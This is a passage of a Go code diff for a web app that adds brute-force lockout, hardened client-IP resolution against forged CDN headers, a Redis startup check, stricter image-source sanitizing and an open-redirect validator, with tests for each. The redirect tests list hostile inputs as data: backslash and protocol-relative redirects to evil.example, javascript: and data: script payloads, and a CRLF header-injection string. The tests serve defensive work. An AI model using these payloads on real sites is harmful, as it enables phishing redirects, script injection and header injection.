writeErrorPage(ctx, http.StatusNotFound, "error.notFoundTitle", "error.notFoundDesc")
})
return f
+114
View File
@@ -0,0 +1,114 @@
package shared
import (
"sync"
"time"
)
// AttemptLimiter 按 key 统计「失败次数」,达到阈值后在 lock 时长内锁定该 key。
//
// 适用场景:密码、验证码这类可被穷举的入口。成功的尝试应调用 Reset 清零,
// 失败的尝试调用 Fail;处于锁定状态时应直接拒绝,不要再比对密码 —— 既省掉
// 一次密码哈希的计算,也不给攻击者「比对上更快的探测通道」。
//
// 实现约束:
// - 纯内存、无后台 goroutine:仓库里已经踩过「每个限流器实例一个常驻 goroutine」
// 的泄漏坑(见 internal/route/ratelimit.go 的统一清理循环),这里改用惰性清理;
// - 键数量上限保护:恶意构造海量 key 时先清过期项,仍超限则丢弃最旧的键,
// 避免 map 无限膨胀把进程内存吃满。
type AttemptLimiter struct {
mu sync.Mutex
fails map[string][]time.Time
max int
window time.Duration
lock time.Duration
now func() time.Time // 仅测试替换为可控时钟
}
// NewAttemptLimiter 创建失败计数器:window 内失败达到 max 次 → 锁定 lock 时长。
func NewAttemptLimiter(max int, window, lock time.Duration) *AttemptLimiter {
if max < 1 {
max = 1
}
return &AttemptLimiter{
fails: make(map[string][]time.Time),
max: max,
window: window,
lock: lock,
now: time.Now,
}
}
// Blocked 判断 key 是否处于锁定状态,并返回剩余锁定时间。
//
// 锁定期满后自动清零,用户重新获得 max 次机会 —— 否则一次误触发就会永久锁死。
func (l *AttemptLimiter) Blocked(key string) (bool, time.Duration) {
l.mu.Lock()
defer l.mu.Unlock()
now := l.now()
times := l.pruneLocked(key, now)
if len(times) < l.max {
return false, 0
}
unlockAt := times[len(times)-1].Add(l.lock)
if now.Before(unlockAt) {
return true, unlockAt.Sub(now)
}
// 锁定期满:清空记录,重新开始计数。
delete(l.fails, key)
return false, 0
}
// Fail 记录一次失败。
func (l *AttemptLimiter) Fail(key string) {
l.mu.Lock()
defer l.mu.Unlock()
now := l.now()
times := l.pruneLocked(key, now)
times = append(times, now)
l.fails[key] = times
// 条数超限时清理全部已过期的键;仍超限则整表重建(宁可丢失计数,也不能 OOM)。
if len(l.fails) > 5000 {
for k := range l.fails {
if t := l.fails[k]; len(t) == 0 || now.Sub(t[len(t)-1]) > l.window+l.lock {
delete(l.fails, k)
}
}
if len(l.fails) > 5000 {
l.fails = map[string][]time.Time{key: times}
}
}
}
// Reset 清空该 key 的失败记录(校验成功后调用)。
func (l *AttemptLimiter) Reset(key string) {
l.mu.Lock()
defer l.mu.Unlock()
delete(l.fails, key)
}
// pruneLocked 丢弃窗口外的失败记录,返回窗口内的切片(调用方持有 l.mu)。
func (l *AttemptLimiter) pruneLocked(key string, now time.Time) []time.Time {
times, ok := l.fails[key]
if !ok {
return nil
}
cutoff := now.Add(-l.window)
valid := times[:0]
for _, t := range times {
if t.After(cutoff) {
valid = append(valid, t)
}
}
if len(valid) == 0 {
delete(l.fails, key)
return nil
}
l.fails[key] = valid
return valid
}
+96
View File
@@ -0,0 +1,96 @@
package shared
import (
"testing"
"time"
)
// TestAttemptLimiterLockout 覆盖 P1-2 的爆破防护契约:
// window 内失败 max 次 → 锁定 lock 时长;锁定期满后自动清零(不会永久锁死);
// 成功校验(Reset)后立即恢复。
func TestAttemptLimiterLockout(t *testing.T) {
now := time.Date(2026, 10, 26, 12, 0, 0, 0, time.UTC)
clock := func() time.Time { return now }
l := NewAttemptLimiter(3, 10*time.Minute, 5*time.Minute)
l.now = clock
const key = "page:1:203.0.113.10"
// 前两次失败不应锁定。
for i := 0; i < 2; i++ {
l.Fail(key)
}
if blocked, _ := l.Blocked(key); blocked {
t.Fatal("失败 2 次(阈值 3)就被锁定")
}
// 第 3 次失败达到阈值 → 锁定。
l.Fail(key)
blocked, remain := l.Blocked(key)
if !blocked {
t.Fatal("失败 3 次(阈值 3)未锁定")
}
if remain <= 0 || remain > 5*time.Minute {
t.Fatalf("剩余锁定时间异常:%v", remain)
}
// 锁定期内即使再失败也仍然锁定。
now = now.Add(time.Minute)
l.Fail(key)
if blocked, _ := l.Blocked(key); !blocked {
t.Fatal("锁定期内应保持锁定")
}
// 锁定期满 → 解锁,且计数被清零(重新拥有 max 次机会)。
now = now.Add(5 * time.Minute)
if blocked, _ := l.Blocked(key); blocked {
t.Fatal("锁定期满后未解锁")
}
for i := 0; i < 2; i++ {
l.Fail(key)
}
if blocked, _ := l.Blocked(key); blocked {
t.Fatal("解锁后计数未清零:2 次失败不应触发锁定")
}
// Reset(校验成功)清空计数。
l.Reset(key)
if blocked, _ := l.Blocked(key); blocked {
t.Fatal("Reset 后仍处于锁定状态")
}
}
// TestAttemptLimiterWindowExpiry 验证窗口外的失败记录会失效:
// 慢速爆破(每次间隔超过窗口)不应该被累计成锁定,但也不应该被当成成功。
func TestAttemptLimiterWindowExpiry(t *testing.T) {
now := time.Date(2026, 10, 26, 12, 0, 0, 0, time.UTC)
l := NewAttemptLimiter(3, 1*time.Minute, 5*time.Minute)
l.now = func() time.Time { return now }
const key = "page:1:203.0.113.10"
for i := 0; i < 5; i++ {
l.Fail(key)
now = now.Add(61 * time.Second) // 每次都越过窗口
}
if blocked, _ := l.Blocked(key); blocked {
t.Fatal("窗口外的失败记录被计入,锁定过早触发")
}
}
// TestAttemptLimiterKeyIsolation 不同 key(不同箱主 / 不同来源 IP)必须互不影响:
// 否则一个人爆破就能把整个站点的密码入口锁死。
func TestAttemptLimiterKeyIsolation(t *testing.T) {
l := NewAttemptLimiter(2, time.Minute, time.Minute)
for i := 0; i < 2; i++ {
l.Fail("page:1:203.0.113.10")
}
if blocked, _ := l.Blocked("page:1:203.0.113.10"); !blocked {
t.Fatal("目标 key 应被锁定")
}
if blocked, _ := l.Blocked("page:1:203.0.113.11"); blocked {
t.Fatal("另一个来源 IP 被误锁")
}
if blocked, _ := l.Blocked("page:2:203.0.113.10"); blocked {
t.Fatal("另一个箱主被误锁")
}
}
+70 -17
View File
@@ -5,7 +5,9 @@ import (
"net"
"net/http"
"strings"
"sync"
"github.com/sirupsen/logrus"
"github.com/tamakyi/TamaBox/internal/conf"
)
@@ -100,33 +102,84 @@ func isTrustedProxy(ipStr string) bool {
return false
}
// ResolveClientIP 统一解析客户端真实 IP,供速率限制、IP 黑名单与审计记录共用。
// headerSourceTrusted 判断本次请求的 TCP 对端是否有资格「决定」客户端 IP。
//
// 策略:未开 TrustProxy 时一律用不可伪造的 TCP RemoteAddr;开启后 (a) 先信 CDN 权威头
// CF-Connecting-IP → EO-Client-IP,(b) 仅当 TCP 对端落在 trusted_proxies 内才从右向左
// 解析 XFF / X-Real-IP,(c) 否则回退 RemoteAddr,绝不信任客户端自供的头。
// 只有两种情况成立:
// 1. 对端是回环地址 —— cloudflared / 本机反代回源,连接必然由本机进程发起,外部造不出来;
// 2. 对端命中 trusted_proxies —— 你自己的反代 / LB,或明确登记过的 CDN 回源网段。
//
// ⚠️ trust_proxy=true 但源站可被直连(未用 Tunnel / 未锁源站)时,攻击者可自造
// CF-Connecting-IP / EO-Client-IP 并被本函数信任 —— 生产开启必须锁定源站只接受 CDN 回源。
// 公网对端一律不采信,哪怕它带了格式完全合法的 CF-Connecting-IP。
// 这条约束就是 P1-3 的修复核心:双 CDN(境内 EdgeOne + 境外 Cloudflare)并存时,
// EdgeOne **不剥离**客户端自带的 CF-Connecting-IP,而旧实现无条件优先读这个头,
// 于是「经 EdgeOne 进来的请求」其客户端 IP 完全由请求方决定 —— 限流 / IP 黑名单全失效,
// 且 autoban 按这个假 IP 记账,可被用来栽赃任意正常用户(连打 10 次敏感路径即封 15 分钟)。
//
// ⚠️ 双 CDN(境内 EdgeOne + 境外 Cloudflare)时必须:① 防火墙仅放行两家回源网段;
// ② 在各家规则引擎中删除入站请求里「对方 CDN」的权威头,否则攻击者可借道另一家伪造身份,
// 绕过限流 / 自动封禁 / 单 IP 投票限制。步骤见 outputs/edgeone-cloudflare-dual-cdn-guide.md。
func ResolveClientIP(r *http.Request) string {
if !conf.Security.TrustProxy {
return NormalizeIP(r.RemoteAddr)
// 反过来说,只要要求「权威头只能由 CDN 写入」这一前提无法被代码验证,就不能把它当公理;
// 唯一能被代码验证的依据是 TCP 对端地址,因此这里 fail-closed。
func headerSourceTrusted(remote string) bool {
if remote == "" {
return false
}
if ip := net.ParseIP(remote); ip != nil && ip.IsLoopback() {
return true
}
return isTrustedProxy(remote)
}
// (a) CDN 权威客户端头(只能由 CDN 边缘写入):Cloudflare 优先,其次腾讯 EdgeOne。
// cdnClientIPHeader 取请求里的 CDN 权威客户端 IP(Cloudflare 优先,其次腾讯 EdgeOne)。
// 只负责取值与规范化,不判断来源是否可信 —— 可信性由 headerSourceTrusted 负责。
func cdnClientIPHeader(r *http.Request) string {
if cfIP := NormalizeIP(r.Header.Get("CF-Connecting-IP")); cfIP != "" {
return cfIP
}
if eoIP := NormalizeIP(r.Header.Get("EO-Client-IP")); eoIP != "" {
return eoIP
return NormalizeIP(r.Header.Get("EO-Client-IP"))
}
// warnIgnoredCDNHeaderOnce 进程内只告警一次:避免伪造请求把日志刷满,
// 同时保证「链路与配置不匹配」这件事在上线后一定能被看见。
var warnIgnoredCDNHeaderOnce sync.Once
// ResolveClientIP 统一解析客户端真实 IP,供速率限制、IP 黑名单与审计记录共用。
//
// 策略:未开 TrustProxy 时一律用不可伪造的 TCP RemoteAddr;开启后 (a) 仅当 TCP 对端可信
// (回环或 trusted_proxies 命中)才采信 CDN 权威头 CF-Connecting-IP → EO-Client-IP,
// (b) 仅当同一对端落在 trusted_proxies 内才从右向左解析 XFF / X-Real-IP,
// (c) 否则回退 RemoteAddr —— 绝不采信客户端自供的头。
//
// ⚠️ trust_proxy=true 但源站可被直连(未用 Tunnel / 未锁源站)时,攻击者可自造
// CF-Connecting-IP / EO-Client-IP。本函数现已 fail-closed(公网对端不采信),
// 但仍建议用 Tunnel / 仅放行回源网段锁死源站,否则攻击者虽伪造不了身份,
// 却仍能直接打到源站。
//
// ⚠️ 双 CDN(境内 EdgeOne + 境外 Cloudflare)并存且都直连回源时,两家回源网段
// 都必须登记到 trusted_proxies,否则该项 CDN 的权威头会被忽略、退化成按边缘 IP 聚合
// (限流互相挤占、自动封禁误伤整片区域)。重新启用 EdgeOne 时请一并核对这里。
func ResolveClientIP(r *http.Request) string {
remote := NormalizeIP(r.RemoteAddr)
if !conf.Security.TrustProxy {
return remote
}
// (b)/(c) 仅当 TCP 对端是受信代理时才解析 XFF/X-Real-IP。
remote := NormalizeIP(r.RemoteAddr)
// (a) CDN 权威客户端头:只有对端可信时才采信。
if headerSourceTrusted(remote) {
if ip := cdnClientIPHeader(r); ip != "" {
return ip
}
} else if forged := cdnClientIPHeader(r); forged != "" {
// 公网对端却带了权威头:要么是 CDN 直连回源但没登记网段,要么是有人在伪造身份。
// 只告警、不改变行为(行为已由上面的分支确定为「用 remote」),避免影响业务。
warnIgnoredCDNHeaderOnce.Do(func() {
logrus.WithFields(logrus.Fields{
"remote_addr": remote,
"header_ip": forged,
}).Warn("来自不可信公网对端的请求携带了 CDN 权威客户端头,已忽略并改用 TCP 对端地址。" +
"若站点由 CDN 直连回源(非 cloudflared Tunnel),请把该 CDN 的回源网段加入 " +
"[security] trusted_proxies;若本不该出现此类请求,说明有人在尝试伪造客户端身份以绕过限流 / 封禁。")
})
}
// (b)/(c) XFF / X-Real-IP 仍只认 trusted_proxies:这两个头是多跳链、语义更弱,
// 回环对端不隐含信任它们。
if isTrustedProxy(remote) {
if forwarded := strings.TrimSpace(r.Header.Get("X-Forwarded-For")); forwarded != "" {
// 从右向左取第一个非可信代理跳:客户端的真实 IP。
+105 -10
View File
@@ -7,13 +7,31 @@ import (
"github.com/tamakyi/TamaBox/internal/conf"
)
// setTrustedProxies 在测试内临时改 trusted_proxies 并重新初始化解析结果,
// 测试结束自动还原(trustedProxyNets 是包级状态,必须还原以免污染其它用例)。
func setTrustedProxies(t *testing.T, spec string) {
t.Helper()
old := conf.Security.TrustedProxies
conf.Security.TrustedProxies = spec
if err := InitTrustedProxies(); err != nil {
t.Fatalf("InitTrustedProxies(%q) error = %v", spec, err)
}
t.Cleanup(func() {
conf.Security.TrustedProxies = old
if err := InitTrustedProxies(); err != nil {
t.Fatalf("restore InitTrustedProxies() error = %v", err)
}
})
}
func TestResolveClientIPCloudflareHeader(t *testing.T) {
oldTrustProxy := conf.Security.TrustProxy
defer func() { conf.Security.TrustProxy = oldTrustProxy }()
conf.Security.TrustProxy = true
// 回环对端 = cloudflared / 本机反代回源,这是生产实际形态。
r := httptest.NewRequest("GET", "https://example.com/", nil)
r.RemoteAddr = "192.0.2.10:443"
r.RemoteAddr = "127.0.0.1:443"
r.Header.Set("CF-Connecting-IP", "198.51.100.20")
r.Header.Set("X-Real-IP", "198.51.100.30")
if got := ResolveClientIP(r); got != "198.51.100.20" {
@@ -21,29 +39,88 @@ func TestResolveClientIPCloudflareHeader(t *testing.T) {
}
}
// TestResolveClientIPIPv6LoopbackHeader 验证 ::1 对端同样被视为本机回源。
func TestResolveClientIPIPv6LoopbackHeader(t *testing.T) {
oldTrustProxy := conf.Security.TrustProxy
defer func() { conf.Security.TrustProxy = oldTrustProxy }()
conf.Security.TrustProxy = true
r := httptest.NewRequest("GET", "https://example.com/", nil)
r.RemoteAddr = "[::1]:443"
r.Header.Set("CF-Connecting-IP", "198.51.100.20")
if got := ResolveClientIP(r); got != "198.51.100.20" {
t.Fatalf("ResolveClientIP() = %q, want Cloudflare client IP", got)
}
}
func TestResolveClientIPIgnoresHeadersWithoutTrust(t *testing.T) {
oldTrustProxy := conf.Security.TrustProxy
defer func() { conf.Security.TrustProxy = oldTrustProxy }()
conf.Security.TrustProxy = false
r := httptest.NewRequest("GET", "https://example.com/", nil)
r.RemoteAddr = "192.0.2.10:443"
r.RemoteAddr = "127.0.0.1:443"
r.Header.Set("CF-Connecting-IP", "198.51.100.20")
r.Header.Set("EO-Client-IP", "198.51.100.99")
if got := ResolveClientIP(r); got != "192.0.2.10" {
if got := ResolveClientIP(r); got != "127.0.0.1" {
t.Fatalf("ResolveClientIP() = %q, want remote address", got)
}
}
// TestResolveClientIPEdgeOneHeader 验证腾讯 EdgeOne 的权威客户端头 EO-Client-IP
// 在 TrustProxy=true 时被信任(双 CDN 部署:境内 EdgeOne 回源不带 CF-Connecting-IP)。
func TestResolveClientIPEdgeOneHeader(t *testing.T) {
// TestResolveClientIPRejectsForgedHeaderFromPublicPeer 是 P1-3 的回归测试。
//
// 攻击场景:双 CDN 并存时经 EdgeOne 打进来,EdgeOne 不剥离客户端自带的
// CF-Connecting-IP,旧实现无条件优先读它 → 客户端 IP 完全可控(限流 / 黑名单失效,
// 且可借 autoban 栽赃任意 IP)。修复后公网对端一律不采信权威头。
func TestResolveClientIPRejectsForgedHeaderFromPublicPeer(t *testing.T) {
oldTrustProxy := conf.Security.TrustProxy
defer func() { conf.Security.TrustProxy = oldTrustProxy }()
conf.Security.TrustProxy = true
setTrustedProxies(t, "") // 未登记任何代理 / 回源网段
cases := []struct {
name string
header map[string]string
}{
{"forged CF header via EdgeOne", map[string]string{
"CF-Connecting-IP": "198.51.100.20",
"EO-Client-IP": "198.51.100.99",
}},
{"forged CF header only", map[string]string{
"CF-Connecting-IP": "198.51.100.20",
}},
{"forged EO header only", map[string]string{
"EO-Client-IP": "198.51.100.99",
}},
{"forged XFF and X-Real-IP", map[string]string{
"X-Forwarded-For": "198.51.100.20",
"X-Real-IP": "198.51.100.21",
}},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
r := httptest.NewRequest("GET", "https://example.com/", nil)
r.RemoteAddr = "203.0.113.44:443" // 公网对端,不在 trusted_proxies 内
for k, v := range tc.header {
r.Header.Set(k, v)
}
if got := ResolveClientIP(r); got != "203.0.113.44" {
t.Fatalf("ResolveClientIP() = %q, want TCP remote address(不可伪造的对端地址)", got)
}
})
}
}
// TestResolveClientIPTrustedProxyHonorsCDNHeader 验证主动登记的 CDN 回源网段
// (或自己的 LB)仍可采信权威头 —— 这是「CDN 直连回源」部署形态的唯一正确配置方式。
func TestResolveClientIPTrustedProxyHonorsCDNHeader(t *testing.T) {
oldTrustProxy := conf.Security.TrustProxy
defer func() { conf.Security.TrustProxy = oldTrustProxy }()
conf.Security.TrustProxy = true
setTrustedProxies(t, "203.0.113.0/24")
r := httptest.NewRequest("GET", "https://example.com/", nil)
r.RemoteAddr = "203.0.113.44:443" // 模拟 EdgeOne 边缘回源
r.RemoteAddr = "203.0.113.44:443" // 落在已登记的回源网段内
r.Header.Set("EO-Client-IP", "198.51.100.99")
r.Header.Set("X-Forwarded-For", "203.0.113.99")
if got := ResolveClientIP(r); got != "198.51.100.99" {
@@ -59,7 +136,7 @@ func TestResolveClientIPPrefersCloudflareOverEdgeOne(t *testing.T) {
conf.Security.TrustProxy = true
r := httptest.NewRequest("GET", "https://example.com/", nil)
r.RemoteAddr = "203.0.113.44:443"
r.RemoteAddr = "127.0.0.1:443"
r.Header.Set("CF-Connecting-IP", "198.51.100.20")
r.Header.Set("EO-Client-IP", "198.51.100.99")
if got := ResolveClientIP(r); got != "198.51.100.20" {
@@ -75,13 +152,31 @@ func TestResolveClientIPEdgeOneInvalidFallsBack(t *testing.T) {
conf.Security.TrustProxy = true
r := httptest.NewRequest("GET", "https://example.com/", nil)
r.RemoteAddr = "203.0.113.44:443"
r.RemoteAddr = "127.0.0.1:443"
r.Header.Set("EO-Client-IP", "not-an-ip")
if got := ResolveClientIP(r); got != "203.0.113.44" {
if got := ResolveClientIP(r); got != "127.0.0.1" {
t.Fatalf("ResolveClientIP() = %q, want remote address fallback", got)
}
}
// TestResolveClientIPLoopbackDoesNotTrustXFF 锁定一条容易踩的边界:
// 回环对端只隐含信任「单一权威头」,不隐含信任 XFF / X-Real-IP(多跳链语义更弱)。
// 否则本机 cloudflared 场景下客户端只要多发一个 X-Real-IP 就能顶替权威头。
func TestResolveClientIPLoopbackDoesNotTrustXFF(t *testing.T) {
oldTrustProxy := conf.Security.TrustProxy
defer func() { conf.Security.TrustProxy = oldTrustProxy }()
conf.Security.TrustProxy = true
setTrustedProxies(t, "")
r := httptest.NewRequest("GET", "https://example.com/", nil)
r.RemoteAddr = "127.0.0.1:443"
r.Header.Set("X-Forwarded-For", "198.51.100.20")
r.Header.Set("X-Real-IP", "198.51.100.21")
if got := ResolveClientIP(r); got != "127.0.0.1" {
t.Fatalf("ResolveClientIP() = %q, want remote address(回环不应隐含信任 XFF)", got)
}
}
// TestLimitKey 是 P1-4 的回归测试:限流 / 自动封禁用的聚合键必须
// - IPv4:原样返回(每地址独立计数);
// - IPv6:掩码到 /64(防止单 /64 内轮换海量地址绕过阈值、并避免键无限膨胀);
+58
View File
@@ -0,0 +1,58 @@
package shared
import (
"net/url"
"path"
"strings"
)
// SafeRedirectTarget 校验「跳转回原页面」这类参数,只放行站内绝对路径,不可信时返回空串。
//
// 为什么不能只判 `strings.HasPrefix(to, "/") && !strings.HasPrefix(to, "//")`:
// WHATWG URL 在 special scheme(http/https)下把 `\` 视作 `/`,于是
// `Location: /\evil.example` 会被浏览器解析成 `https://evil.example/` —— 一个可用的
// 钓鱼跳板("登录后跳转异常,请重新输入密码")。浏览器在解析前还会剔除 URL 内部的
// TAB/CR/LF,所以控制字符也必须先拒掉,否则服务端的判断与浏览器的解释不一致。
//
// 全站只有两个地方接受「跳到哪」的参数(登录后的 to、页面密码通过后的 next),
// 两处都必须走这里 —— 之前它们各写一份判断,其中一份就漏了反斜杠。
//
// 返回空串表示「参数不可信」,由调用方回退到默认落地页。
func SafeRedirectTarget(to string) string {
if to == "" {
return ""
}
// 控制字符与空格:前者会被浏览器剔除后重新解析,后者会被编码成 %20 改变语义。
if strings.ContainsAny(to, "\\\x00\r\n\t ") {
return ""
}
// 必须以单个斜杠开头:排掉相对路径、协议相对(//host)、绝对 URL(scheme:)。
if !strings.HasPrefix(to, "/") || strings.HasPrefix(to, "//") {
return ""
}
u, err := url.Parse(to)
if err != nil {
return ""
}
// 解析成带 scheme / host / userinfo 的形态,说明上面两条判断被编码绕过了。
if u.Scheme != "" || u.Host != "" || u.User != nil || u.Opaque != "" {
return ""
}
// url.Parse 会把 %5c、%0d%0a 等编码解码进 Path。上面那轮检查看的是原始字符串,
// 看不到解码后的形态,所以这里对解码结果再查一遍:反斜杠(浏览器当 /)与全部
// C0 控制字符(响应头注入面,%0d%0a 能在 Location 里伪造新的一行头)。
for _, r := range u.Path {
if r == '\\' || r < 0x20 || r == 0x7f {
return ""
}
}
// 归一化后再确认一次仍是站内绝对路径(吃掉 /..、/../x 之类的残留)。
cleaned := path.Clean(u.Path)
if !strings.HasPrefix(cleaned, "/") || strings.HasPrefix(cleaned, "//") {
return ""
}
if u.RawQuery == "" {
return cleaned
}
return cleaned + "?" + u.RawQuery
}
+93
View File
@@ -0,0 +1,93 @@
package shared
import (
"net/url"
"strings"
"testing"
"github.com/stretchr/testify/require"
)
// TestSafeRedirectTarget 锁定「跳转回原页面」参数的白名单行为。
//
// 重点是那批"看起来是站内路径、浏览器却会当外站"的载荷:反斜杠变体
// (WHATWG 在 http/https 下把 \ 当 /)、协议相对引用、以及编码后的同类载荷。
// 修复前两处调用点各写一份判断,其中登录那处用 `path.Clean("/"+to)`,只挡住 //host 与绝对 URL,
// 反斜杠直接漏到 Location 头(页面密码那处同样漏)。
func TestSafeRedirectTarget(t *testing.T) {
cases := []struct {
name string
in string
want string // 空串表示"不可信,调用方回退默认落地页"
}{
// —— 合法站内路径:应当原样(或归一化后)放行 ——
{"箱主页", "/_/someone", "/_/someone"},
{"后台", "/user", "/user"},
{"单题页带 token", "/_/someone/12?t=abc", "/_/someone/12?t=abc"},
{"根路径", "/", "/"},
{"多点归一化", "/user/../explore", "/explore"},
{"编码斜杠归一化后仍在站内", "/%2f%2fevil.example", "/evil.example"},
// —— 必须拒绝的载荷 ——
{"空串", "", ""},
{"相对路径", "user", ""},
{"反斜杠跳转", `/\evil.example`, ""},
{"双反斜杠", `\\evil.example`, ""},
{"混入反斜杠的站内路径", `/_/a\b`, ""},
{"协议相对", "//evil.example", ""},
{"三斜杠", "///evil.example", ""},
{"绝对 http", "http://evil.example", ""},
{"绝对 https", "https://evil.example", ""},
{"同协议不同站", "https:/evil.example", ""},
{"javascript 伪协议", "javascript:alert(1)", ""},
{"data 伪协议", "data:text/html,<script>alert(1)</script>", ""},
{"userinfo 形态", "/@evil.example", "/@evil.example"}, // 站内路径,host 为空
{"编码反斜杠", `/%5cevil.example`, ""},
{"大写编码反斜杠", `/%5Cevil.example`, ""},
{"CRLF 注入", "/x%0d%0aSet-Cookie:%20a=b", ""},
{"内嵌 TAB", "/\t/evil.example", ""},
{"前导空格", " /evil.example", ""},
{"尾部空格", "/evil.example ", ""},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
got := SafeRedirectTarget(tc.in)
require.Equal(t, tc.want, got)
if got == "" {
return
}
// 不变式:返回值必须是浏览器解析后仍留在本站的路径。
// 只要 Host/Scheme 非空,或者以 // 开头,就会被浏览器当成外站。
require.True(t, strings.HasPrefix(got, "/"), "返回值必须以 / 开头: %q", got)
require.False(t, strings.HasPrefix(got, "//"), "返回值不能是协议相对引用: %q", got)
require.NotContains(t, got, `\`, "返回值不能含反斜杠: %q", got)
u, err := url.Parse(got)
require.NoError(t, err)
require.Empty(t, u.Host, "返回值不能带 host: %q", got)
require.Empty(t, u.Scheme, "返回值不能带 scheme: %q", got)
})
}
}
// TestSafeRedirectTargetNeverLeavesSite 是全量不变式的兜底:
// 上面表的每一个输入(含被拒绝的)都必须满足"要么空、要么是站内绝对路径"。
func TestSafeRedirectTargetNeverLeavesSite(t *testing.T) {
payloads := []string{
"/\\evil.example", `\\evil.example`, "//evil.example", "///evil.example",
"https://evil.example", "http://evil.example", "//", "/%5c%5cevil.example",
"/\u0000evil", "/\u00a0evil", "\\\\evil.example/x", "/..//evil.example",
}
for _, p := range payloads {
got := SafeRedirectTarget(p)
if got == "" {
continue
}
u, err := url.Parse(got)
require.NoError(t, err)
require.True(t, strings.HasPrefix(got, "/") && !strings.HasPrefix(got, "//"), "载荷 %q 逃逸为 %q", p, got)
require.Empty(t, u.Host)
require.Empty(t, u.Scheme)
}
}
+45
View File
@@ -0,0 +1,45 @@
// Copyright 2026 tamakyi. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package shared
import (
"context"
"time"
"github.com/redis/go-redis/v9"
)
// RedisPingTimeout 是启动期探活的总超时。
// 刻意短:启动阶段卡住比启动失败更难排查,3 秒足够区分「连不上」与「慢」。
const RedisPingTimeout = 3 * time.Second
// PingRedis 在启动时探一次 Redis 连通性,用于 fail fast。
//
// 为什么必须做这件事:session 建在 Redis 上(route.go 的 sessioner),而
// flamego/session 对 load 错误是直接 panic,被 Recovery 兜成 500 ——
// 也就是 **Redis 一宕,每个请求都 500,包括完全未登录的访客**。
// 等到第一个真实请求才暴露时,运维看到的现场是「站点全 500」,
// 很难第一时间联想到 Redis;启动期直接报错退出,信号干净得多。
//
// 同时显式设置读写超时:go-redis 默认 Dial 5s / Read 3s,Redis 半死不活
// (进程在但不响应)时会让每个请求白等这几秒,表现为整站变慢而无报错。
func PingRedis(addr, password string) error {
ctx, cancel := context.WithTimeout(context.Background(), RedisPingTimeout)
defer cancel()
rdb := redis.NewClient(&redis.Options{
Addr: addr,
Password: password,
// DB 1 与 route.go 里 session 用的库保持一致:探活要探真正会用到的那一个,
// 否则「DB 0 能用、DB 1 被 ACL 禁掉」这种配置错误探不出来。
DB: 1,
DialTimeout: 2 * time.Second,
ReadTimeout: 2 * time.Second,
WriteTimeout: 2 * time.Second,
})
defer func() { _ = rdb.Close() }()
return rdb.Ping(ctx).Err()
}
+135 -2
View File
@@ -8,11 +8,14 @@ import (
"bytes"
stdhtml "html"
"html/template"
"net/url"
"regexp"
"strings"
"github.com/russross/blackfriday/v2"
"golang.org/x/net/html"
"github.com/tamakyi/TamaBox/internal/conf"
)
// blockEndTags / reBlockEndBrList 删除块级元素闭合标签紧前的 <br>:HardLineBreak 会把
@@ -44,7 +47,8 @@ func PlainText(markdown string) string {
// MarkdownToHTML 渲染为安全的 HTML 片段。先由 blackfriday 渲染,再经白名单过滤:
// 只保留常用排版标签与属性;丢弃 script / style / iframe / form 等危险标签;
// href/src 仅允许 http/https/mailto;剥离所有 on* 事件属性。避免存储型 XSS。
// href 仅允许 http/https/mailto,img 的 src 仅允许站内路径或配置里登记的图片主机
// (见 safeImageSrc);剥离所有 on* 事件属性。避免存储型 XSS 与外链图片追踪。
func MarkdownToHTML(markdown string) template.HTML {
if strings.TrimSpace(markdown) == "" {
return ""
@@ -155,6 +159,12 @@ func writeSanitizedTag(out *bytes.Buffer, tok html.Token, isEnd bool) {
return
}
// img 必须有合法的 src,否则整段丢弃:只删掉 src 属性会留下 <img alt="...">,
// 浏览器渲染成空占位(破图),既难看又没意义。
if name == "img" && !imgSrcAllowed(tok.Attr) {
return
}
// 反向 tabnabbing 防护:a 标签若使用 target="_blank",强制附带 rel="noopener noreferrer"。
hasTargetBlank := false
if name == "a" {
@@ -184,7 +194,14 @@ func writeSanitizedTag(out *bytes.Buffer, tok html.Token, isEnd bool) {
}
switch key {
case "href", "src":
if !safeURL(val) {
// img 的 src 单独收紧(P1-1):<img> 会在页面加载时无条件发起请求,
// 外链图片等于把「谁在什么时候、从哪个 IP 打开了页面」送给第三方。
// 因此只允许站内路径与自己的图片 CDN,不能复用面向 a[href] 的 safeURL。
if name == "img" && key == "src" {
if !safeImageSrc(val) {
continue
}
} else if !safeURL(val) {
continue
}
case "target":
@@ -250,3 +267,119 @@ func safeURL(u string) bool {
}
return false
}
// imgSrcAllowed 判断 img 标签是否带有一个合法的 src(缺省或非法则整段丢弃)。
func imgSrcAllowed(attrs []html.Attribute) bool {
for _, attr := range attrs {
if strings.ToLower(attr.Key) == "src" {
return safeImageSrc(attr.Val)
}
}
return false
}
// normalizeHostLike 把「配置里可能出现的各种主机写法」归一化成纯主机名:
//
// https://acc.r2.cloudflarestorage.com/tamabox → acc.r2.cloudflarestorage.com
// r2.example.net/tamabox → r2.example.net
// img.example.net:8443 → img.example.net
//
// 返回值统一小写、无端口、无路径、无尾点;无法解析时回退到去掉协议与路径的原文。
//
// 为什么必须做这一步:上传配置里的 CDN 域名普遍写成「主机 + 路径」
// (如 image_bucket_cdn_host = "r2.example.net/tamabox",项目自带的示例就是这种写法),
// 若直接拿去和 URL 的 Hostname() 比较,永远不相等 —— 表现为箱主自己上传的图片
// 也被渲染层整段丢弃(P1-1 的过度拦截)。
func normalizeHostLike(c string) string {
c = strings.ToLower(strings.TrimSpace(c))
if c == "" {
return ""
}
if !strings.Contains(c, "://") {
c = "http://" + c
}
u, err := url.Parse(c)
if err != nil || u.Hostname() == "" {
// 兜底:至少去掉路径与尾点,别把整串配置当成主机名
if i := strings.IndexAny(c, "/?#"); i >= 0 {
c = c[:i]
}
c = strings.TrimPrefix(c, "http://")
return strings.TrimSuffix(c, ".")
}
return strings.TrimSuffix(u.Hostname(), ".")
}
// imageHostAllowed 判断主机名是否属于「我们自己的图片出口」:
// 上传配置里的 CDN 域名、OSS / R2 默认域名,以及站点自身域名。
func imageHostAllowed(host string) bool {
host = normalizeHostLike(host)
if host == "" {
return false
}
candidates := []string{
conf.Upload.ImageBucketCDNHost,
conf.Upload.AliyunBucketCDNHost,
conf.App.ExternalURL,
}
// <bucket>.<endpoint> 形态:阿里云 OSS 默认域名。
// 同时把 endpoint 主机本身也纳入候选 —— R2 / MinIO 走 path-style,
// 上传返回的链接是 <endpoint>/<bucket>/...,拼 bucket 前缀反而对不上。
for _, p := range [][2]string{
